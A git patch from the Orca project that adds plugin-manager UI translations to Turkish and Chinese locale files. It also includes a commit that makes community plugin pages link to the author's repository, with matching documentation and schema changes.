"PluginStatus": { + "needsReview": "İnceleme gerekiyor", + "restarting": "Yeniden başlatılıyor", + "stopped": "Durduruldu", + "cantLoad": "Yüklenemiyor", + "off": "Kapalı", + "running": "Çalışıyor", + "on": "Açık", + "blocked": "Engellendi" + }, + "PluginContributionActionNewFile": { + "create": "Oluştur" } }, "right": { @@ -16635,6 +16801,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Yapıştırılan görsel belgenin yanına kaydedilemedi. Orca yeniden başlatıldıktan sonra yüklenmeyebilir." + }, + "PluginFileTypeSuggestion": { + "message": "Bir eklenti .{{value0}} dosyalarını açabilir: {{value1}}", + "view": "Eklentiyi görüntüle", + "notNow": "Şimdi değil", + "never": ".{{value0}} için önerme", + "editorMessage": "Bir eklenti .{{value0}} dosyaları için düzenleyici ekler: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Düzenleyici yükleniyor…", + "unresponsive": "{{value0}} yanıt vermiyor. Düzenlemeye devam etmek için Kaynak’a geçin.", + "loadFailed": "{{value0}} yüklenemedi. Bu dosyayı düzenlemek için Kaynak’a geçin.", + "editTooLarge": "Bu dosya {{value0}} değişiklikleri kaydedemeyecek kadar büyük. Bunun yerine Kaynak’ı kullanın.", + "saveBlocked": "{{value0}} kaynağındaki son değişiklikler kaydedilemedi.", + "editsHeld": "{{value0}} değişiklikleri çok hızlı gönderiyor; Orca en sonuncusunu birazdan uygular.", + "largeFile": "Büyük dosya — biraz zaman alabilir." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Tekrar dene", + "tooLarge": "{{value0}}, {{value1}} içinde açılamayacak kadar büyük ({{value2}}; sınır {{value3}}).", + "unsupported": "{{value0}} bu dosyayı depolandığı yerden okuyamıyor. Dosyayı barındıran Orca sunucusunu güncelleyin veya Kaynak’a geçin.", + "readFailed": "{{value0}}, {{value1}} için okunamadı. {{value2}}" } }, "diff": { @@ -16960,7 +17148,8 @@ }, "pluginQuickActions": { "description": "{{value0}} eklenti komutu", - "keyword": "eklenti komutu" + "keyword": "eklenti komutu", + "newFileDescription": "Etkin çalışma alanında adsız bir {{value0}} dosyası oluşturur." } } }, @@ -18229,6 +18418,10 @@ }, "PluginListRow": { "official": "Resmi" + }, + "PluginListGroup": { + "showAll": "{{value0}} tane daha göster", + "showAllTotal": "{{value0}} eklentinin tümünü göster" } }, "terminalPane": { @@ -18672,6 +18865,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} yükleme" + }, + "PluginCatalogLinkDialog": { + "failed": "Bu katalog eklenemedi.", + "title": "{{value0}} kataloğu eklensin mi?", + "cancel": "İptal", + "add": "Katalog ekle", + "body": "Bir bağlantı bu katalogdan {{value0}} öğesini göstermek istedi. Yalnızca güvendiğiniz kişilerin kataloglarını ekleyin." } } }, diff --git a/src/renderer/src/i18n/locales/zh-Hant.json b/src/renderer/src/i18n/locales/zh-Hant.json index ce715f10d46..a5384aa943c 100644 --- a/src/renderer/src/i18n/locales/zh-Hant.json +++ b/src/renderer/src/i18n/locales/zh-Hant.json @@ -1294,6 +1294,13 @@ "pluginNewFile": { "unavailable": "{{value0}} 已無法使用。請重新開啟其外掛。", "failed": "無法建立檔案。" + }, + "pluginAutoUpdates": { + "one": "{{value0}} 已更新至 {{value1}}", + "many": "已更新 {{value0}} 個外掛" + }, + "pluginInstallLink": { + "invalid": "這個外掛連結無效。" } }, "lib": { @@ -8738,7 +8745,9 @@ "fbb428db98": "已選擇:", "search_terminal_themes": "搜尋終端機主題", "cb330ef7f8": "/{{value0}}", - "c822571b2e": " 符合「{{value0}}」" + "c822571b2e": " 符合「{{value0}}」", + "plugin_themes": "外掛", + "from_plugin": "來自 {{value0}}" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -11697,7 +11706,9 @@ "notificationsShow": "顯示標有外掛名稱的桌面通知", "storage": "在外掛自己的儲存資料夾中儲存資料", "secrets": "在外掛自己的加密保險庫中儲存和讀取機密資料", - "settingsOwn": "讀取和變更外掛自己的設定" + "settingsOwn": "讀取和變更外掛自己的設定", + "agentsRead": "在代理狀態變更時收到通知", + "terminalRun": "在你的終端機中執行命令,包括 SSH" }, "decisionFailed": "無法儲存權限決定。請重試。", "fullAccessWarning": "完整存取:以一般程式執行,可以讀取你的檔案、使用網路並執行其他程式。", @@ -11721,7 +11732,9 @@ "remove": "移除", "pathLabel": "開發外掛資料夾路徑", "placeholder": "/Users/you/plugins/my-plugin 或 C:\\Users\\you\\plugins\\my-plugin", - "add": "新增路徑" + "add": "新增路徑", + "dialogTitle": "開發資料夾", + "reviewHelp": "只需審查一次。之後的程式碼修改會直接執行,不再詢問。" }, "PluginInstallDialog": { "localRequired": "請輸入外掛資料夾路徑。", @@ -11804,11 +11817,16 @@ }, "PluginRemoveDialog": { "cancel": "取消", - "remove": "移除外掛" + "remove": "移除外掛", + "title": "要移除 {{value0}} 嗎?", + "description": "其資料也會一併移除。" }, "PluginRollbackDialog": { "cancel": "取消", - "confirm": "將外掛回復舊版" + "confirm": "將外掛回復舊版", + "title": "要復原 {{value0}} 嗎?", + "description": "還原為上一個版本。", + "descriptionVersion": "還原為版本 {{value0}}。" }, "PluginsSettingsSection": { "systemLabel": "外掛系統", @@ -11823,7 +11841,10 @@ "title": "外掛", "description": "安裝和管理 Orca 外掛。外掛在此電腦上執行,即使是 SSH 工作區也是如此。", "logsFailed": "無法載入外掛日誌。", - "rollbackFailed": "無法將此外掛回復舊版。先前不可變更的版本可能無法取得。" + "rollbackFailed": "無法將此外掛回復舊版。先前不可變更的版本可能無法取得。", + "alpha": "Alpha", + "fileTypeSuggestionsLabel": "為無法辨識的檔案建議外掛", + "restartFailed": "無法重新啟動 {{value0}}。" }, "PluginSettingsRow": { "loadingLogs": "正在載入日誌…", @@ -11835,7 +11856,8 @@ "viewLogs": "檢視日誌", "disableLabel": "停用 {{value0}}", "enableLabel": "啟用 {{value0}}", - "invalidPluginError": "外掛清單或安裝的檔案無效。請修復外掛,然後重新整理。" + "invalidPluginError": "外掛清單或安裝的檔案無效。請修復外掛,然後重新整理。", + "syntaxFailed": "已停止醒目提示:此語法定義發生錯誤。" }, "PluginVmRecipeConsentPreview": { "create": "建立", @@ -11866,7 +11888,8 @@ "install": "安裝外掛", "permissions": "外掛權限", "logs": "外掛日誌", - "development": "開發外掛" + "development": "開發外掛", + "aliases": "plugins mods extensions 外掛 模組 擴充功能" } }, "LinearAgentSkillGuide": { @@ -12806,7 +12829,28 @@ } }, "PluginUpdateAllDialog": { - "review": "檢視" + "review": "檢視", + "previewError": "無法讀取此更新", + "newAccess": "新增:{{value0}}", + "failed": "無法更新 {{value0}}。其他外掛已更新。", + "cancel": "取消", + "updateOne": "更新 1 個外掛", + "updateMany": "更新 {{value0}} 個外掛", + "failedAll": "無法更新 {{value0}}。未更新任何項目。", + "close": "關閉", + "retry": "再試一次", + "updated": "已更新", + "needsOrca": "需要 Orca {{value0}} 或更新版本", + "current": "已安裝", + "sourceMoved": "新來源:{{value0}}(原為 {{value1}})", + "newShortcuts": "鍵盤快速鍵", + "newCommands": "命令", + "newPanels": "面板", + "newEvents": "更多事件", + "newRecipes": "機器配方", + "newContributions": "代替你執行動作的功能", + "allAccess": "查看所有存取權限", + "update": "更新" }, "PluginUpdateReview": { "title": "檢視 {{value0}} 的更新", @@ -12840,7 +12884,8 @@ }, "PluginContributionActionPanel": { "open": "開啟面板", - "openName": "開啟面板:{{value0}}" + "openName": "開啟面板:{{value0}}", + "needsWorkspace": "需要開啟的工作區" }, "PluginContributionActionSyntax": { "openExtension": "開啟任一 {{value0}} 檔案", @@ -12851,7 +12896,10 @@ "updated": "更新時間", "license": "授權", "whatsNew": "新功能", - "installs": "安裝次數" + "installs": "安裝次數", + "hashCopied": "已複製內容雜湊", + "hashCopyFailed": "無法複製雜湊。", + "readme": "在 {{value0}} 上閱讀 README" }, "PluginDetailPage": { "back": "外掛", @@ -12862,7 +12910,20 @@ "requiresValue": "Orca {{value0}} 或更新版本", "categories": "類別", "pluginId": "外掛 ID", - "repository": "存放庫" + "repository": "存放庫", + "bundled": "隨 Orca 附帶", + "localFolder": "本機資料夾", + "gitUrl": "Git URL", + "stoppedTitle": "發生錯誤後已停止", + "stoppedBody": "它持續當機。請重新啟動以再試一次。", + "invalidTitle": "Orca 無法載入此外掛", + "needsOrcaTitle": "需要 Orca {{value0}} 或更新版本", + "needsOrcaBody": "你目前使用 Orca {{value0}}。", + "newerTitle": "有較新的版本", + "newerBody": "你瀏覽此頁時目錄已有變更。", + "showNewer": "顯示較新版本", + "stoppedDataBody": "無法載入其檔案。請重新啟動以再試一次。", + "alsoListedBy": "{{value0}} 也有列出此外掛。更新只會來自安裝時使用的目錄;若要切換,請移除後重新安裝。" }, "PluginDetailSections": { "typeLanguagePack": "介面語言", @@ -12881,7 +12942,12 @@ "accessLoading": "正在讀取外掛…", "accessFailed": "無法讀取其存取權限", "retry": "重試", - "customEditor": "編輯器" + "customEditor": "編輯器", + "panel": "側邊欄面板", + "recipe": "機器配方", + "logs": "記錄", + "copyLogs": "複製", + "noAccessReach": "不會存取自身檔案以外的任何內容" }, "PluginFilterPopover": { "kind": "類別", @@ -12910,7 +12976,9 @@ "replacesShortcut": "{{value0}}({{value1}})會取代你的「{{value2}}」快捷鍵。", "updatesKeepApproval": "更新只會針對新的存取權限再次詢問", "fullAccessUpdates": "更新可能會在未詢問的情況下變更其程式碼", - "editsFileTypes": "在 Orca 中開啟並編輯 {{value0}} 檔案。它可以讀取自己開啟的檔案。" + "editsFileTypes": "在 Orca 中開啟並編輯 {{value0}} 檔案。它可以讀取自己開啟的檔案。", + "install": "安裝並啟用", + "keepOff": "保持關閉" }, "PluginListEmptyStates": { "noFilterMatches": "沒有符合這些篩選條件的外掛", @@ -12931,7 +12999,18 @@ "updateAll": "全部更新…", "notFromCatalog": "非目錄來源", "allInstalledTitle": "目錄中的外掛已全部安裝", - "showInstalled": "顯示已安裝的外掛" + "showInstalled": "顯示已安裝的外掛", + "verified": "已驗證", + "unverified": "未驗證", + "catalogLoading": "目錄", + "catalogFailedTitle": "無法載入外掛目錄。", + "catalogFailedBody": "已安裝的外掛仍可正常運作。", + "sourceFailedTitle": "無法載入此目錄。", + "sourceFailedBody": "已安裝的外掛仍可正常運作。", + "sources": "來源…", + "sourceStaleTitle": "無法重新整理此目錄。", + "sourceStaleBody": "顯示的是 {{value0}} 的副本。", + "shownOf": "{{value0}} / {{value1}}" }, "PluginManagerRows": { "reinstall": "重新安裝", @@ -12952,7 +13031,14 @@ "rollbackTo": "回復到 {{value0}}…", "copyContentHash": "複製內容雜湊", "reviewUpdate": "審查更新", - "dataLoadFailed": "無法載入其檔案" + "dataLoadFailed": "無法載入其檔案", + "copied": "已複製外掛 ID", + "copyFailed": "無法複製外掛 ID。", + "details": "詳細資料", + "unverified": "未驗證", + "updateAvailable": "有可用的更新 {{value0}}", + "updateNeedsReview": "更新 {{value0}} 需要審查", + "updatedTo": "已更新至 {{value0}}" }, "pluginInstallAction": { "installed": "已安裝 {{value0}}", @@ -12990,7 +13076,10 @@ "PluginThemeUseNow": { "assignedLight": "已將 {{value0}} 設為淺色主題", "assignedDark": "已將 {{value0}} 設為深色主題", - "saveFailed": "無法儲存主題。請再試一次。" + "saveFailed": "無法儲存主題。請再試一次。", + "label": "立即使用:", + "useForLight": "用於淺色:", + "useForDark": "用於深色:" }, "PluginInstallTrustDialog": { "titleFolder": "請確認你信任此資料夾", @@ -13009,6 +13098,83 @@ "cancel": "取消", "addFolder": "新增資料夾", "install": "安裝" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "圖示主題", + "description": "來自已啟用外掛的檔案與資料夾圖示。", + "builtIn": "內建" + } + }, + "PluginAddMenu": { + "add": "新增外掛", + "folder": "從資料夾…", + "git": "從 Git URL…", + "sources": "目錄來源…" + }, + "PluginSettingsOverview": { + "offTitle": "外掛已關閉" + }, + "pluginContributions": { + "dark": "深色", + "light": "淺色", + "languageIncomplete": "已翻譯 {{value0}}%,完成度不足,無法作為 Orca 的介面語言", + "languageCoverage": "介面語言 · 已翻譯 {{value0}}%", + "newFileMenu": "加入 + 選單" + }, + "PluginPageAction": { + "failedTitle": "無法安裝 {{value0}}", + "contentOnly": "僅內容" + }, + "PluginSettingsMenu": { + "label": "外掛設定", + "development": "開發資料夾…", + "autoUpdateLabel": "自動更新外掛", + "autoUpdateHint": "只有在需要新的存取權限時才會再次詢問" + }, + "PluginPageHero": { + "screenshots": "螢幕截圖", + "openScreenshot": "開啟螢幕截圖:{{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "上一張螢幕截圖", + "next": "下一張螢幕截圖" + }, + "PluginContributionActionCommand": { + "run": "執行", + "runName": "執行 {{value0}}", + "ran": "已執行 {{value0}}", + "failed": "{{value0}} 執行失敗", + "seeLogs": "請參閱下方記錄", + "needsWorkspace": "需要開啟的工作區" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "建立工作區時", + "worktreeRemoved": "移除工作區時", + "agentStatusChanged": "代理狀態變更時", + "detail": "會在背景執行程式碼" + }, + "PluginChips": { + "updateNeedsReview": "更新需要審查", + "updatedTo": "已更新至 {{value0}}", + "devUnverified": "開發 · 未驗證" + }, + "PluginsAlphaNotice": { + "label": "Alpha:", + "body": "外掛介面可能會變更,部分細節仍可能調整。", + "dismiss": "關閉 Alpha 提示" + }, + "PluginStatus": { + "needsReview": "需要審查", + "restarting": "正在重新啟動", + "stopped": "已停止", + "cantLoad": "無法載入", + "off": "關閉", + "running": "執行中", + "on": "開啟", + "blocked": "已封鎖" + }, + "PluginContributionActionNewFile": { + "create": "建立" } }, "right": { @@ -16424,6 +16590,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "無法將貼上的圖片儲存在文件旁。重新啟動 Orca 後可能無法載入該圖片。" + }, + "PluginFileTypeSuggestion": { + "message": "有外掛可以開啟 .{{value0}} 檔案:{{value1}}", + "view": "檢視外掛", + "notNow": "稍後再說", + "never": "不要再為 .{{value0}} 建議", + "editorMessage": "有外掛為 .{{value0}} 檔案提供編輯器:{{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "正在載入編輯器…", + "unresponsive": "{{value0}} 已停止回應。請切換到原始碼以繼續編輯。", + "loadFailed": "無法載入 {{value0}}。請切換到原始碼以編輯此檔案。", + "editTooLarge": "此檔案過大,{{value0}} 無法儲存變更。請改用原始碼。", + "saveBlocked": "無法儲存 {{value0}} 的最新變更。", + "editsHeld": "{{value0}} 傳送變更的速度過快;Orca 稍後會套用最新的一筆。", + "largeFile": "檔案較大,可能需要一點時間。" + }, + "PluginBytesCustomEditorSurface": { + "retry": "重試", + "tooLarge": "{{value0}} 過大,無法在 {{value1}} 中開啟({{value2}};上限為 {{value3}})。", + "unsupported": "{{value0}} 無法從此檔案的儲存位置讀取它。請更新託管該檔案的 Orca 伺服器,或切換到原始碼。", + "readFailed": "無法為 {{value1}} 讀取 {{value0}}。{{value2}}" } }, "diff": { @@ -16746,7 +16934,8 @@ }, "pluginQuickActions": { "description": "{{value0}} 外掛命令", - "keyword": "外掛命令" + "keyword": "外掛命令", + "newFileDescription": "在目前的工作區中建立未命名的 {{value0}} 檔案。" } } }, @@ -17990,6 +18179,10 @@ }, "PluginListRow": { "official": "官方" + }, + "PluginListGroup": { + "showAll": "再顯示 {{value0}} 個", + "showAllTotal": "顯示全部 {{value0}} 個外掛" } }, "terminalPane": { @@ -18427,6 +18620,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} 次安裝" + }, + "PluginCatalogLinkDialog": { + "failed": "無法新增此目錄。", + "title": "要新增目錄 {{value0}} 嗎?", + "cancel": "取消", + "add": "新增目錄", + "body": "有連結要求顯示此目錄中的 {{value0}}。請只新增你信任之人的目錄。" } } }, diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json index a5b9b279984..9aa52b0f501 100644 --- a/src/renderer/src/i18n/locales/zh.json +++ b/src/renderer/src/i18n/locales/zh.json @@ -893,6 +893,13 @@ "pluginNewFile": { "unavailable": "{{value0}} 已不可用。请重新启用其插件。", "failed": "无法创建文件。" + }, + "pluginAutoUpdates": { + "one": "{{value0}} 已更新到 {{value1}}", + "many": "已更新 {{value0}} 个插件" + }, + "pluginInstallLink": { + "invalid": "该插件链接无效。" } }, "lib": { @@ -11280,7 +11287,8 @@ "pathLabel": "开发插件文件夹路径", "placeholder": "插件文件夹路径", "add": "添加路径", - "reviewHelp": "只审核一次。之后的代码修改会直接运行。" + "reviewHelp": "只审核一次。之后的代码修改会直接运行。", + "dialogTitle": "开发文件夹" }, "PluginInstallDialog": { "localRequired": "请输入插件文件夹路径。", @@ -12485,7 +12493,9 @@ "repository": "仓库", "stoppedDataBody": "无法加载其文件。重新启动以重试。", "newerBody": "你浏览时目录已更改。", - "showNewer": "查看新版本" + "showNewer": "查看新版本", + "newerTitle": "有更新的版本", + "alsoListedBy": "{{value0}} 也收录了此插件。更新只来自安装时所用的目录;如需切换,请移除后重新安装。" }, "PluginDetailSections": { "typeLanguagePack": "界面语言", @@ -12535,7 +12545,9 @@ "rollbackTo": "回滚到 {{value0}}…", "copyContentHash": "复制内容哈希", "reviewUpdate": "审核更新", - "dataLoadFailed": "无法加载其文件" + "dataLoadFailed": "无法加载其文件", + "updateNeedsReview": "更新 {{value0}} 需要审查", + "updatedTo": "已更新到 {{value0}}" }, "PluginSettingsOverview": { "offTitle": "插件已关闭" @@ -12598,20 +12610,27 @@ "dark": "深色", "light": "浅色", "languageIncomplete": "已翻译 {{value0}}%,不够完整,无法用作 Orca 的语言", - "languageCoverage": "界面语言 · 已翻译 {{value0}}%" + "languageCoverage": "界面语言 · 已翻译 {{value0}}%", + "newFileMenu": "添加到 + 菜单" }, "PluginInstallConsent": { "noOtherAccess": "无其他访问权限", "replacesShortcut": "{{value0}}({{value1}})会替换你的“{{value2}}”快捷键。", "updatesKeepApproval": "仅在需要新访问权限时更新才会再次询问", "fullAccessUpdates": "更新可能会在不询问的情况下更改其代码", - "editsFileTypes": "在 Orca 中打开并编辑 {{value0}} 文件。它可以读取自己打开的文件。" + "editsFileTypes": "在 Orca 中打开并编辑 {{value0}} 文件。它可以读取自己打开的文件。", + "install": "安装并启用", + "keepOff": "保持关闭" }, "PluginPageAction": { - "contentOnly": "仅内容" + "contentOnly": "仅内容", + "failedTitle": "无法安装 {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "仅在需要新访问权限时再次询问" + "autoUpdateHint": "仅在需要新访问权限时再次询问", + "label": "插件设置", + "development": "开发文件夹…", + "autoUpdateLabel": "自动更新插件" }, "PluginInUseAction": { "inUseDark": "使用中 · 深色", @@ -12699,6 +12718,21 @@ "cancel": "取消", "addFolder": "添加文件夹", "install": "安装" + }, + "PluginPageHero": { + "screenshots": "屏幕截图", + "openScreenshot": "打开屏幕截图:{{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "上一张屏幕截图", + "next": "下一张屏幕截图" + }, + "PluginChips": { + "updateNeedsReview": "更新需要审查", + "updatedTo": "已更新到 {{value0}}", + "devUnverified": "开发 · 未验证" + }, + "PluginContributionActionNewFile": { + "create": "创建" } }, "right": { @@ -16113,13 +16147,29 @@ "message": "有插件可以打开 .{{value0}} 文件:{{value1}}", "view": "查看插件", "notNow": "暂不", - "never": "不再为 .{{value0}} 建议" + "never": "不再为 .{{value0}} 建议", + "editorMessage": "有插件为 .{{value0}} 文件提供编辑器:{{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "选择表情符号" }, "richMarkdownBlobImagePaste": { "saveFailed": "无法将粘贴的图片保存到文档旁。重启 Orca 后可能无法加载该图片。" + }, + "PluginCustomEditorFrame": { + "loading": "正在加载编辑器…", + "unresponsive": "{{value0}} 已停止响应。请切换到源代码以继续编辑。", + "loadFailed": "无法加载 {{value0}}。请切换到源代码以编辑此文件。", + "editTooLarge": "此文件过大,{{value0}} 无法保存更改。请改用源代码。", + "saveBlocked": "无法保存 {{value0}} 的最新更改。", + "editsHeld": "{{value0}} 发送更改的速度过快;Orca 稍后会应用最新的一次。", + "largeFile": "文件较大,可能需要一点时间。" + }, + "PluginBytesCustomEditorSurface": { + "retry": "重试", + "tooLarge": "{{value0}} 过大,无法在 {{value1}} 中打开({{value2}};上限为 {{value3}})。", + "unsupported": "{{value0}} 无法从此文件的存储位置读取它。请更新托管该文件的 Orca 服务器,或切换到源代码。", + "readFailed": "无法为 {{value1}} 读取 {{value0}}。{{value2}}" } }, "diff": { @@ -16442,7 +16492,8 @@ }, "pluginQuickActions": { "description": "{{value0}} 插件命令", - "keyword": "插件命令" + "keyword": "插件命令", + "newFileDescription": "在当前工作区中创建未命名的 {{value0}} 文件。" } } }, @@ -17679,7 +17730,8 @@ "notInstalled": "未安装" }, "PluginListGroup": { - "showAll": "再显示 {{value0}} 个" + "showAll": "再显示 {{value0}} 个", + "showAllTotal": "显示全部 {{value0}} 个插件" }, "PluginListRow": { "official": "官方" @@ -18175,6 +18227,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} 次安装" + }, + "PluginCatalogLinkDialog": { + "failed": "无法添加此目录。", + "title": "要添加目录 {{value0}} 吗?", + "cancel": "取消", + "add": "添加目录", + "body": "有链接请求显示此目录中的 {{value0}}。请只添加你信任的人的目录。" } } }, From 55507b87e93e13d80759c497b57c0f899c1e8876 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:53:12 -0700 Subject: [PATCH 33/47] fix(plugins): link community plugins to the author's repository, not the mirror (#36638) --- docs/reference/plugin-catalog.md | 3 +- .../plugins/orca-catalog.v2.schema.json | 11 ++++- .../plugins/page/PluginDetailInfo.tsx | 25 ++++++---- .../plugins/page/PluginDetailPage.test.tsx | 32 +++++++++++++ .../plugins/catalog/plugin-detail-fields.ts | 25 ++++++++-- .../catalog/plugin-repository-link.test.ts | 47 ++++++++++++++++++- .../plugins/catalog/plugin-repository-link.ts | 23 ++++++++- 7 files changed, 148 insertions(+), 18 deletions(-) diff --git a/docs/reference/plugin-catalog.md b/docs/reference/plugin-catalog.md index c891602c3a4..3942f5db7f6 100644 --- a/docs/reference/plugin-catalog.md +++ b/docs/reference/plugin-catalog.md @@ -55,7 +55,8 @@ The exact release the catalog vouches for. Orca refuses bytes that differ. | `types` | (`"interface-language"` \| `"app-theme"` \| `"terminal-theme"` \| `"icon-theme"` \| `"syntax"` \| `"instructions"` \| `"panel"` \| `"editor"` \| `"worker"`)[] | no | 1.4.245 | Optional; Orca derives it from `contributes` and `execution`. When present, every kind of contribution the release carries, matching its manifest exactly. `instructions` needs the `declarative` profile or higher, `panel` and `editor` need `sandboxed-ui`, and `worker` needs `trusted-worker`. Example: `["syntax"]` | | `name` | string | no | 1.4.245 | The manifest's `name`, so Orca can suggest the plugin before downloading it. Example: `"Gleam"` | | `license` | string | no | 1.4.245 | SPDX license expression. Example: `"MIT"` | -| `repository` | string | no | 1.4.245 | Source repository page, https only. Example: `"https://github.com/acme/orca-gleam-syntax"` | +| `repository` | string | no | 1.4.245 | Source repository page, https only. Orca links it when it is a github.com or gitlab.com repository of the plugin's publisher. Example: `"https://github.com/acme/orca-gleam-syntax"` | +| `sourceUnavailable` | `true` | no | 1.4.246 | Set when the release's `repository` is gone and `source` serves an archived copy, so Orca links `source` instead. Example: `true` | | `homepage` | string | no | 1.4.245 | Project homepage, https only. Example: `"https://example.com/gleam"` | | `updatedAt` | string | no | 1.4.245 | When this release was published, as an ISO 8601 date or date-time. Example: `"2026-10-20"` | | `changelog` | string | no | 1.4.245 | What changed in this release, as plain text. At most 2000 characters. Example: `"Adds highlighting for use expressions."` | diff --git a/docs/schemas/plugins/orca-catalog.v2.schema.json b/docs/schemas/plugins/orca-catalog.v2.schema.json index 6a6e4d019f9..464eda360f3 100644 --- a/docs/schemas/plugins/orca-catalog.v2.schema.json +++ b/docs/schemas/plugins/orca-catalog.v2.schema.json @@ -261,7 +261,7 @@ "pattern": "^\\(?[A-Za-z0-9][A-Za-z0-9.+-]*(?: (?:AND|OR|WITH) \\(?[A-Za-z0-9][A-Za-z0-9.+-]*\\)?)*\\)?$" }, "repository": { - "description": "Source repository page, https only.", + "description": "Source repository page, https only. Orca links it when it is a github.com or gitlab.com repository of the plugin's publisher.", "x-orca-since": "1.4.245", "examples": [ "https://github.com/acme/orca-gleam-syntax" @@ -270,6 +270,15 @@ "maxLength": 2048, "pattern": "^https:\\/\\/\\S+$" }, + "sourceUnavailable": { + "description": "Set when the release's `repository` is gone and `source` serves an archived copy, so Orca links `source` instead.", + "x-orca-since": "1.4.246", + "examples": [ + true + ], + "type": "boolean", + "const": true + }, "homepage": { "description": "Project homepage, https only.", "x-orca-since": "1.4.245", diff --git a/src/renderer/src/components/plugins/page/PluginDetailInfo.tsx b/src/renderer/src/components/plugins/page/PluginDetailInfo.tsx index 80cc85c1d5f..0f29bdd384d 100644 --- a/src/renderer/src/components/plugins/page/PluginDetailInfo.tsx +++ b/src/renderer/src/components/plugins/page/PluginDetailInfo.tsx @@ -13,6 +13,7 @@ import { import { usePluginRollbackVersion } from '../state/use-plugin-rollback-version' import { openAppHttpLink } from '@/lib/app-http-link-open' import { + pluginListingRepositoryUrl, pluginReadmePageUrl, pluginRepositoryPageUrl } from '../../../../../shared/plugins/catalog/plugin-repository-link' @@ -73,17 +74,21 @@ export function PluginDetailInfo({ const installCount = usePluginInstallCount(entry) const updated = formatPluginReleaseDate(listing?.updatedAt) const license = plugin?.license ?? listing?.license - // Why only the install source: manifest and catalog `repository`/`homepage` are author text. - const sourceUrl = - listing?.source.url ?? (plugin?.source?.kind === 'git' ? plugin.source.reference : null) + // Why never the manifest's `repository`/`homepage`: author text; Orca rebuilds every link. + const sourceUrl = listing + ? pluginListingRepositoryUrl(listing) + : plugin?.source?.kind === 'git' + ? plugin.source.reference + : null const repository = sourceUrl ? pluginRepositoryPageUrl(sourceUrl) : null - const readme = listing?.release - ? pluginReadmePageUrl({ - gitUrl: listing.source.url, - commit: listing.release.commit, - path: listing.source.path - }) - : null + const readme = + listing?.release && sourceUrl + ? pluginReadmePageUrl({ + gitUrl: sourceUrl, + commit: listing.release.commit, + path: listing.source.path + }) + : null return (